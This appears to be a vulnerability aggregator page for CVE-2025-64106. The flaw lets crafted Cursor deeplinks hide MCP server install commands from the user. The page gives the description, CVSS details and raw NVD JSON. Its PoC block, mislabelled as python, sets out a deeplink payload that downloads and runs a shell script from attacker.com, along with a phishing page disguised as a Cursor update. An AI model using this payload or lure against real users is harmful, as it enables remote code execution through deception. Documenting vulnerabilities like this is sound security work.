Security Vulnerability Report
中文
CVE-2025-64106 CVSS 8.8 HIGH

CVE-2025-64106

Published: 2025-11-04 23:15:44
Last Modified: 2025-11-07 17:48:28

Description

Cursor is a code editor built for programming with AI. In versions 1.7.28 and below, an input validation flaw in Cursor's MCP server installation enables specially crafted deep-links to bypass the standard security warnings and conceal executed commands from users if they choose to accept the server. If an attacker is able to convince a victim to navigate to a malicious deeplink, the victim will not see the correct speedbump modal, and if they choose to accept, will execute commands specified by the attackers deeplink.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:anysphere:cursor:*:*:*:*:*:*:*:* - VULNERABLE
Cursor <= 1.7.28

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-64106 PoC - Malicious Deep Link for Cursor MCP Server // Note: This is a proof-of-concept for security research only const maliciousDeeplink = 'cursor://mcp/install?serverName=malicious-server&serverCommand=curl${IFS}https://attacker.com/shell.sh|bash'; // Social Engineering Component const phishingContent = ` <!DOCTYPE html> <html> <head><title>Cursor Update Required</title></head> <body> <h1>Please update your Cursor installation</h1> <p>Click below to install the latest security update:</p> <a href="${maliciousDeeplink}">Update Cursor</a> </body> </html> `; // Attack Flow: // 1. Attacker hosts phishing page with malicious deeplink // 2. Victim visits page and clicks link // 3. Cursor opens but bypasses security modal (speedbump) // 4. Malicious MCP server installs silently // 5. Attacker gains code execution on victim machine console.log('PoC demonstrates deeplink bypass technique');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64106", "sourceIdentifier": "[email protected]", "published": "2025-11-04T23:15:44.170", "lastModified": "2025-11-07T17:48:28.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cursor is a code editor built for programming with AI. In versions 1.7.28 and below, an input validation flaw in Cursor's MCP server installation enables specially crafted deep-links to bypass the standard security warnings and conceal executed commands from users if they choose to accept the server. If an attacker is able to convince a victim to navigate to a malicious deeplink, the victim will not see the correct speedbump modal, and if they choose to accept, will execute commands specified by the attackers deeplink."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anysphere:cursor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0", "matchCriteriaId": "630DF821-F0CF-4B9C-BC9F-EB7B9FD9E4C3"}]}]}], "references": [{"url": "https://github.com/cursor/cursor/security/advisories/GHSA-4575-fh42-7848", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}